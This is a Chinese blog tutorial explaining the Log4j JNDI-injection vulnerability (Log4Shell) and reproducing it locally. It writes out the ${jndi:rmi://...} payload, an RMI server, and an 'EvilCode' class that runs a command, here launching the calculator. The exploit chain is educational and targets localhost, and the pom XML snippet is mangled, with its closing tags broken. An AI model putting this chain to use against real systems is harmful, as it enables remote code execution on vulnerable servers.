热门标签 | HotTags
当前位置:  开发笔记 > 后端 > 正文

log4j漏洞原理以及漏洞复现

前言:十几天前,log4j被爆出“史诗级”漏洞。其危害非常大,影响非常广。该漏洞非常容易利用,可以执行任意代码。这个漏洞的影响可谓是重量级的。漏洞描述:由于ApacheLog4j存

前言:

十几天前,log4j被爆出“史诗级”漏洞。其危害非常大,影响非常广。该漏洞非常容易利用,可以执行任意代码。这个漏洞的影响可谓是重量级的。


漏洞描述:

由于Apache Log4j存在递归解析功能,未取得身份认证的用户,可以从远程发送数据请求输入数据日志,轻松触发漏洞,最终在目标上执行任意代码。简单点说,就是可以通过输入一些具有特殊意义的字符来攻击服务器。

如果入侵者在前端页面上输入了:${jndi:rmi://127.0.0.1:8080/evil} 这串字符, 然后后台用log4j记录了这串字符, log4j会自动使用jndi调用这个地址上的rmi内容。如果这个rmi的内容是删除数据库,重启服务器这种恶意程序,被攻击之后还是趁早跑路吧。(开个玩笑)


关于JNDI:

JNDI(Java Naming and Directory Interface)是Java提供的Java 命名和目录接口。通过调用JNDI的API应用程序可以定位资源和其他程序对象。JNDI是Java EE的重要部分,需要注意的是它并不只是包含了DataSource(JDBC 数据源),JNDI可访问的现有的目录及服务有:JDBC、LDAP、RMI、DNS、NIS、CORBA,摘自百度百科。


关于RMI:

RMI(remote method invocation)即远程方法调用,是允许运行在一个java虚拟机上的对象调用运行在另外一个java虚拟机上的对象的方法,JAVA RMI实现JAVA程序之间跨越JVM的远程通信。通过RMI可以让调用远程JVM上对象方法,仿佛调用本地JVM上对象方法一样简单、快捷。


漏洞复现:

首先,可以先创建一个普通的maven项目, 在pom中引入log4j2.14.0

<dependencies>
<dependency>
<groupId>org.apache.logging.log4jgroupId>
<artifactId>log4j-apiartifactId>
<version>2.14.0version>
dependency>
<dependency>
<groupId>org.apache.logging.log4jgroupId>
<artifactId>log4j-coreartifactId>
<version>2.14.0version>
dependency>
dependencies>

再创建一个用于开启RMI服务端的java文件

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class RMIServer {
public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException, AlreadyBoundException {
LocateRegistry.createRegistry(
8080);
final Registry registry = LocateRegistry.getRegistry("127.0.0.1", 8080);
Reference ref
= new Reference("EvilCode", "EvilCode", null);
final ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
registry.bind(
"evil", referenceWrapper);
System.out.println(
"启动成功");
}
}

再创建EvilCode恶意程序攻击类, 这里由于是自己的电脑, 还是用经典的calc计算器举粟

public class EvilCode {
static {
System.err.println(
"打开计算器");
try {
Runtime.getRuntime().exec(
"calc");
}
catch ( Exception e ) {
e.printStackTrace();
}
}
}

最后创建一个启动类, 用于模拟我们的服务器程序, 使用log4j打印日志

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class Main {
static Logger logger = LogManager.getLogger();
public static void main(String[] args) {
//用input局部变量来模拟入侵者输入的内容
String input = "${jndi:rmi://127.0.0.1:8080/evil}";
//这里直接用log4j输入
logger.error(input);
}
}

先启动RMIServer, 再启动Main, 可以看到, 计算器被弹出了:

 

 

可以升级log4j最新版本或者更新jdk较高版本来解决这个问题



推荐阅读
author-avatar
是你让我变得冷漠涡
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有